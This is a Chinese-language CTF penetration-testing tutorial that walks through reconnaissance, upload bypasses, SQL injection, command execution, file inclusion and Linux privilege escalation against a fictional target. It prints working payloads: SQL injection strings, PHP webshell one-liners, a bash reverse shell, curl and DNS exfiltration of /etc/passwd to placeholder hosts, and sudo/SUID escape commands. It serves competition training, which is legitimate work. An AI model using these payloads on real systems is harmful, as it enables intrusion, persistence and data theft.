ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

CTF实战渗透测试:从信息收集到权限提升的完整攻防解析

CTF实战渗透测试:从信息收集到权限提升的完整攻防解析 1. 项目概述从“夺旗”到实战的思维跃迁拿到这个“2023年国赛信息安全管理与评估正式赛任务书-模块3 CTF”的标题很多刚接触网络安全竞赛的朋友可能会有点懵。CTFCapture The Flag中文叫“夺旗赛”听起来像是个游戏但它恰恰是当今衡量一个安全从业者实战能力最硬核的标尺之一。国赛级别的CTF尤其是“信息安全管理与评估”这个赛项下的模块它早已脱离了早期那种单纯解谜、炫技的范畴其核心是模拟真实世界中的安全攻防场景考察选手在面对一个“黑盒”系统时如何运用系统化的方法去发现漏洞、利用漏洞并最终拿到那个象征胜利的“flag”。这个“模块3”的定位非常明确它就是实战渗透测试的浓缩版。你不像在漏洞库里看到一个CVE编号然后去搜利用脚本那么简单你面对的可能就是一个IP地址一个登录框或者一个看起来平平无奇的网站。这就是典型的“黑盒测试”环境——你对目标系统的内部结构、代码逻辑一无所知就像在黑暗中摸索。你的武器不是现成的“屠龙刀”而是你的知识体系、工具链和思维模型。最终的目标就是在系统的某个深处找到那串格式通常为flag{xxx}或lctf{xxx}的字符串。这串字符就是你的“战利品”也是你完成渗透路径的证明。所以这篇内容不是一份简单的“解题攻略”而是试图为你拆解在面对一个高规格CTF赛题时一个成熟的渗透测试者是如何思考、如何行动的。我们会从信息收集这道“前菜”开始一步步深入到漏洞利用的“主菜”最后聊聊如何优雅地“打包”flag。无论你是准备参加类似比赛的学生还是希望提升实战能力的安服工程师相信这些从大量实战中沉淀下来的思路和“脏活累活”的技巧都能给你带来直接的启发。2. 赛题核心思路与战术框架拆解面对一个国赛级别的CTF赛题盲目上手就是最大的忌讳。它通常不是单一漏洞的点对点击破而是一套环环相扣的“关卡设计”。出题人往往会构建一个相对完整的、有逻辑的业务场景漏洞可能分布在Web前端、后端服务、服务器配置、甚至是一段被遗忘的测试代码中。因此建立清晰的战术框架是首要任务。我的习惯是将一次完整的CTF渗透过程分为四个阶段侦查测绘、漏洞分析、武器利用、权限拓展与Flag获取。这四个阶段并非总是线性进行而是不断循环、迭代的过程。2.1 侦查测绘你的“战场”感知系统这是所有行动的基石。目标是尽可能多地收集目标信息绘制攻击面地图。对于Web类赛题我通常会按以下顺序进行基础信息收集使用nmap进行端口扫描不单是看80、443更要关注那些非常用端口比如8080管理后台、6379Redis、27017MongoDB等国赛常在这些地方埋点。同时用whatweb或Wappalyzer快速识别网站使用的技术栈如PHP版本、中间件类型、前端框架。目录与文件枚举这是发现“暗门”的关键。使用dirsearch、gobuster或ffuf等工具配合强大的字典对网站目录和文件进行暴力枚举。重点寻找/admin/、/backup/、/upload/、/test/、/api/、/www.zip、/.git/、/.DS_Store等。.git目录泄露源码是经典考点。子域名与关联资产发现使用subfinder、amass等工具或利用搜索引擎语法如site:example.com寻找子域名。有时flag或关键入口就在某个不起眼的子域上。源代码与JS文件分析现代Web应用大量逻辑在前端仔细审查页面源码和引用的JS文件。常能发现隐藏的API接口、调试参数、甚至是硬编码的密钥或密码。注意扫描的速率要控制好尤其是在比赛环境中过于激进的扫描可能导致IP被屏蔽。使用-T参数调整nmap时序模板在dirsearch中使用-t参数控制线程数是基本操作。2.2 漏洞分析连接线索形成假设在收集到足够信息后就要开始连接点与线形成漏洞假设。例如发现网站有上传功能/upload且后端是PHP 假设可能存在文件上传漏洞尝试上传Webshell。发现URL参数中包含?id1 假设可能存在SQL注入。发现页面存在cmd、exec等参数 假设可能存在命令执行。发现网站使用特定的CMS或框架如ThinkPHP、Spring 立刻回忆该版本是否有公开漏洞。发现.git目录可访问 首要任务使用GitHack或dvcs-ripper工具还原源码从源码中寻找数据库配置、逻辑缺陷等。这个阶段需要强大的知识库和“脑洞”。国赛题往往不会直接给出明显漏洞需要你将多个线索组合。比如一个文件上传点可能检查了文件类型但结合源码审计发现其检查逻辑可以被绕过如双写后缀、大小写、%00截断等。2.3 战术框架的灵活性这个框架不是铁律。在实际解题中经常需要回溯。例如在利用漏洞时发现权限不足可能需要回到侦查阶段寻找其他入口点或信息泄露点。或者拿到一个Webshell后发现是www-data权限就需要进入“权限拓展”阶段查找服务器上的敏感文件、密码本、滥用sudo权限的程序等向root权限迈进因为flag可能就在只有root能读的目录里。3. 关键漏洞类型深度解析与实战要点国赛CTF题目涵盖的漏洞类型广泛但以下几类是高频考点需要深入理解其原理和利用技巧。3.1 文件上传漏洞不只是传个马那么简单文件上传是CTF的“常青树”考点。难点永远在于绕过。前端校验绕过这是最简单的直接抓包Burp Suite修改文件名和Content-Type即可前端JS校验形同虚设。服务端MIME类型校验抓包将Content-Type改为image/jpeg或image/png等允许的类型。服务端后缀名黑/白名单校验黑名单绕过尝试php3,phtml,phps,pht等PHP可解析的其他后缀。在特定配置下.php.jpg被解析为.php也可能成功。白名单绕过更常见这是重点。如果只允许.jpg,.png等你需要结合文件包含漏洞或服务器解析特性。例如你上传一个内容为PHP代码的.jpg文件然后通过另一个存在文件包含漏洞的页面如?fileupload/xxx.jpg来包含并执行它。或者利用Apache的AddType配置、Nginx的解析漏洞如/test.jpg/.php来让服务器将图片当作PHP执行。内容校验图片马使用copy命令Windows或cat命令Linux将Webshell代码追加到一张正常图片的末尾copy normal.jpg /b shell.php /a webshell.jpg。然后配合文件包含或.htaccess文件攻击来执行。.htaccess攻击如果服务器允许上传.htaccess文件你可以编写一个内容为AddType application/x-httpd-php .jpg这样所有.jpg文件都会被当作PHP解析。这是威力极大的绕过方式。实操心得上传后一定要验证文件是否真的在预期路径并且尝试直接访问和解析。有时上传成功但路径有变化或者服务器有额外的重命名策略。用Burp的Repeater模块不断测试不同的绕过姿势并观察响应差异。3.2 SQL注入从手注到自动化利用虽然工具强大但理解手注过程至关重要尤其是在过滤了空格、引号等字符的“花式”注入题中。判断注入点id1 and 11/id1 and 12观察页面变化是最经典的方法。但更隐蔽的注入可能需要通过时间盲注sleep()函数来判断。联合查询注入Union最快捷的数据获取方式。核心是确定字段数order by和回显点。公式?id-1‘ union select 1,2,3,database(),5--报错注入当页面有SQL错误回显时使用如updatexml()、extractvalue()、floor()等函数。例如?id1‘ and updatexml(1,concat(0x7e,database(),0x7e),1)--盲注页面无回显只能通过布尔状态真/假页面不同或时间延迟来判断。这是最耗时但最常见的比赛场景。手工盲注效率极低必须借助工具。布尔盲注使用substr()、ascii()函数逐位猜解数据。?id1‘ and ascii(substr(database(),1,1))100--时间盲注使用if()sleep()。?id1‘ and if(ascii(substr(database(),1,1))100,sleep(5),0)--工具使用sqlmap是神器但不能无脑用。在比赛中对于复杂的、有过滤的注入点我通常先用sqlmap的--tamper参数指定绕过脚本如space2comment、equaltolike并结合--level和--risk提高检测等级。但更高级的题目可能需要自己编写tamper脚本或修改payload。3.3 命令执行与代码执行获取Shell的直通车命令执行RCE通过Web应用调用系统命令如PHP的system()、exec()、passthru()、shell_exec()Python的os.system()、subprocess等。绕过技巧管道符|、||、、命令分隔;Linux、%0a换行反引号与$()执行内部命令的输出如echo $(whoami)空格绕过用${IFS}、%09tab、、代替通配符/???/c?t /etc/passwd可以表示/bin/cat /etc/passwd代码执行直接执行后端代码如PHP的eval()、assert()Python的eval()。通常需要闭合原有代码结构。例如?cmdecho ‘?php phpinfo();?’ test.php或者直接?codesystem(‘whoami’);重要提示执行命令后第一步永远是尝试建立反向Shell以获得一个交互式终端。常用命令bash -c ‘bash -i /dev/tcp/你的IP/你的端口 01’。你需要在自己的VPS上用nc -lvnp 端口监听。如果出网被限制则考虑写入Webshell或利用其他方式。3.4 反序列化漏洞理解对象“重生”的危险这是近年来的高级考点。以PHP为例当unserialize()一个用户可控的数据时如果该数据指向一个类并且这个类定义了“魔术方法”如__wakeup()、__destruct()那么在反序列化过程中这些方法会被自动调用。如果这些方法里包含了危险操作如文件操作、命令执行就会导致漏洞。解题关键找到入口点寻找接收序列化字符串的参数可能叫data、cookie等或者隐藏在HTTP头里。源码审计如果给了源码重点寻找包含__wakeup、__destruct、__toString等魔术方法的类看其内部是否有system()、file_put_contents()等函数。构造POP链如果单个类的魔术方法不够危险可能需要串联多个类的属性“属性导向编程”Property-Oriented Programming让一个类的销毁触发另一个类的方法最终达到执行命令的目的。这需要仔细分析类与类之间的关系。3.5 目录遍历与文件包含读取系统“秘密”目录遍历Path Traversal通过../等跳转目录读取敏感文件。Payload如?file../../../../etc/passwd。绕过可能需要对../进行编码..%2f、..%252f或使用绝对路径。文件包含LFI/RFI本地文件包含LFI包含服务器本地的文件。除了读/etc/passwd更可以结合日志文件如/var/log/apache2/access.log、/proc/self/environ环境变量、Session文件等进行利用甚至通过php://input或php://filter伪协议来执行代码。远程文件包含RFI包含远程服务器上的文件需要allow_url_includeOn。直接包含一个远程的txt文件内容为?php phpinfo();?即可执行代码。在比赛中RFI条件较难满足LFI是主流。利用php://filter读取源码这是CTF中获取源码的杀手锏。当存在文件包含但无法直接看到源码时可以使用php://filter/convert.base64-encode/resourceindex.php这样会以base64编码的形式输出index.php的源码解码即可获得清晰代码进行审计。4. 典型赛题实战流程全解析让我们以一个虚构的、但融合了国赛常见考点的Web题目为例串联起整个实战流程。假设目标地址是http://192.168.1.100。4.1 第一阶段信息收集与侦查端口扫描nmap -sV -sC -p- 192.168.1.100。发现开放了80Apache、22SSH、3306MySQL端口。Web目录扫描dirsearch -u http://192.168.1.100 -e php,html,zip,bak,txt。发现关键路径/upload/、/admin/需要登录、/index.php?fileview.html、/robots.txt。分析robots.txt发现一条记录Disallow: /backup/。访问/backup/发现一个website_backup_2023.zip文件下载。解压备份文件得到源码。审计源码在/admin/login.php中发现数据库连接配置为root:rootlocalhost。在/upload/upload.php中发现文件上传逻辑检查文件后缀白名单jpg, png, gif和文件头getimagesize()函数但将上传的文件重命名为md5(文件名时间).后缀。4.2 第二阶段漏洞分析与利用链构建突破口选择上传点有白名单和内容检查但重命名规则是md5值无法预测直接传Webshell困难。但发现了index.php中存在文件包含$file $_GET[‘file’]; include(‘./templates/’ . $file);。这里存在目录穿越风险因为未过滤../。利用链构思虽然不能直接上传.php文件但可以上传图片马.jpg。然后通过文件包含漏洞穿越目录去包含这个图片马。但包含.jpg文件PHP默认不会解析其中的代码。需要另一个条件文件包含的路径可控且能利用PHP伪协议。深入审计包含点发现代码中在包含前对$file加了后缀.htmlinclude(‘./templates/’ . $file . ‘.html’);。这限制了包含.html文件。但是如果输入php://filter/convert.base64-encode/resourceupload/abc.jpg加上后缀后变成resourceupload/abc.jpg.html这个路径对php://filter伪协议无效但伪协议本身是有效的。尝试?filephp://filter/readconvert.base64-encode/resource../upload/abc.jpg发现成功读取了上传文件的base64内容这说明包含点虽然加了后缀但php://filter伪协议被成功解析且../实现了目录穿越。构造利用上传一个内容为?php eval($_POST[‘cmd’]);?的图片文件shell.jpg。通过文件包含我们无法直接执行它但我们可以用php://input伪协议。Payload?filephp://input并以POST方式发送?php system(‘whoami’);?。但发现加了.html后缀后php://input可能失效。换个思路利用php://filter的string.rot13或convert.iconv.*过滤器有时可以绕过死亡代码。但本题更简单审计发现/admin/目录下有一个debug.php内容为?php eval($_GET[‘code’]);?这是出题人留下的“后门”。但/admin/需要登录。登录后台利用之前源码泄露的数据库密码root:root尝试在网站登录框进行SQL注入或者直接用这个密码尝试登录/admin/弱口令。发现是弱口令登录成功。获取Webshell登录后台后访问/admin/debug.php?codesystem(‘whoami’);成功执行命令。直接写入一个Webshell?codefile_put_contents(‘../shell.php’, ‘?php eval($_POST[pass]);?’);。然后在网站根目录访问/shell.php用中国菜刀或蚁剑连接获得稳定的Webshell。4.3 第三阶段权限提升与Flag寻找信息收集服务器内在Webshell中执行whoami发现是www-data用户。执行find / -name “*flag*” 2/dev/null、find / -name “*.txt” 2/dev/null、cat /etc/passwd等命令。查找Flag在/home目录下发现一个用户ctfuser其家目录下有一个readme.txt提示“flag在root才能读的地方”。执行sudo -l查看当前用户可以以什么权限运行哪些命令。发现www-data可以以root身份无需密码运行/usr/bin/find。利用sudo提权这是一个经典的sudo提权漏洞。利用find命令的-exec参数执行命令sudo find / -name ‘test’ -exec /bin/sh \;。成功获得一个root权限的shell。最终获取Flag切换到/root目录发现flag.txt用cat命令读取内容为flag{Th1s_1s_Th3_F1na1_Fl4g}。同时在/var/www/html目录下可能还存在一个Web题的flag如flag{Web_Flag_Here}。5. 高频问题排查与实战避坑指南在实际解题和渗透中你会遇到无数坑。这里记录一些最常碰到的问题和解决思路。5.1 命令执行了但没回显这是“盲”命令执行。你需要判断命令是否真的执行成功。使用时间延迟判断ping -c 4 127.0.0.1或sleep 5。在Burp里观察响应时间是否变长。外带数据DNSLog、HTTPLog这是最重要的技巧。让目标服务器把执行结果通过DNS查询或HTTP请求发送到你的服务器。DNSLog使用curl http://your-dnslog-server/$(whoami)或者ping $(whoami).your-dnslog-server。在你的DNSLog平台查看子域名记录就能看到whoami的输出。常用平台ceye.io,dnslog.cn。HTTP请求curl http://your-vps-ip:port/$(cat /etc/passwd | base64)然后在你的VPS上用nc -lvnp port监听就能收到base64编码的结果。写入文件再读取echo ‘test’ /tmp/test.txt然后通过文件包含、目录遍历等方式去读取/tmp/test.txt。5.2 上传了Webshell但访问不到路径问题上传返回的路径可能是相对路径或经过处理的。一定要仔细看响应包确认最终的文件存储路径和文件名。权限问题上传目录如/uploads/可能没有执行权限chmod -x。尝试上传到其他可写且有执行权限的目录如/tmp/、/var/tmp/。内容被破坏如果上传的是图片马确保PHP代码被正确追加没有因图片处理如gd库函数而被破坏。可以尝试在图片最开头文件头之后插入代码或使用exiftool工具将代码写入图片的EXIF信息中exiftool -Comment‘?php system($_GET[“cmd”]); ?’ shell.jpg。杀软/ WAF服务器可能装有Web应用防火墙或杀毒软件检测并删除了你的Webshell。尝试混淆Webshell代码如使用assert、create_function、字符串拼接、base64编码等方式绕过静态检测。5.3 SQL注入工具跑不出来过滤了特殊字符使用sqlmap的--tamper参数。常用的tamper脚本有space2comment空格转注释、equaltolike转LIKE、chardoubleencode双URL编码。可以组合使用--tamperspace2comment,equaltolike。需要登录或特定Cookie使用--cookie“PHPSESSIDxxx”参数。注入点非常规可能不在id参数而在User-Agent、X-Forwarded-For头部或POST数据的JSON里。用Burp抓包将整个请求保存到文件如req.txt然后用sqlmap -r req.txt来检测。延迟太高或网络不稳定调整--time-sec参数默认5秒对于时间盲注如果网络慢可以适当调大。使用--threads1降低并发避免请求过快被屏蔽。5.4 拿到低权限Shell后如何提权这是CTF和实战中都至关重要的环节。信息收集立即运行以下命令whoami id sudo -l # 查看sudo权限 find / -perm -us -type f 2/dev/null # 查找SUID文件 find / -writable -type d 2/dev/null # 查找全局可写目录 cat /etc/crontab # 查看计划任务 uname -a # 查看内核版本 dpkg -l 或 rpm -qa # 查看安装的软件包内核漏洞提权根据uname -a输出的内核版本搜索公开的本地提权EXP如DirtyCow, CVE-2021-4034等。使用searchsploit或Google。注意在比赛环境中内核漏洞提权往往是预期解之一。SUID文件滥用如果找到具有SUID位且属主是root的文件如find、vim、bash、more、less、nmap等可以尝试利用其特性提权。例如已知的find提权find . -exec /bin/sh \;。nmap旧版本交互模式提权nmap --interactive然后!sh。sudo权限滥用sudo -l列出的命令如果包含vim、less、more、man、awk、perl、python等通常可以逃逸到root shell。例如sudo vim -c ‘!sh’或sudo less /etc/passwd然后在less中输入!sh。环境变量劫持如果sudo允许运行某个程序且该程序调用了其他命令如apache2、service可以编写一个恶意的同名程序放在环境变量PATH优先搜索的目录如/tmp然后通过sudo执行原程序从而触发我们的恶意程序。计划任务Cron检查/etc/crontab和/var/spool/cron/看是否有以root权限运行的脚本且该脚本或其父目录可写。可以写入反向shell或直接添加用户。5.5 Flag格式与提交国赛Flag格式通常会在题目描述中说明常见的有flag{xxxx-xxxx-xxxx}FLAG{大写字母数字}lctf{字符串}有时就是一段明文字符串。务必注意大小写敏感提交系统通常严格匹配。包含完整花括号flag{xxx}花括号是flag的一部分。多段Flag有些题目可能有多个阶段每个阶段一个flag。或者一个flag被分成两部分需要组合如题目提到的“flag一分为2”。非预期解有时你通过非预期方式如直接读取备份文件拿到了flag但题目本意是让你走完整的漏洞链。这没关系能拿到flag就是有效的。但理解预期解能更好地提升技术。最后保持冷静和耐心是CTF竞赛中最重要的“软技能”。一个复杂的赛题可能需要数小时的鏖战不断试错、调整思路是常态。将每次“卡住”都视为学习新知识的机会你的实战能力才会在这一次次的“夺旗”过程中飞速成长。
返回列表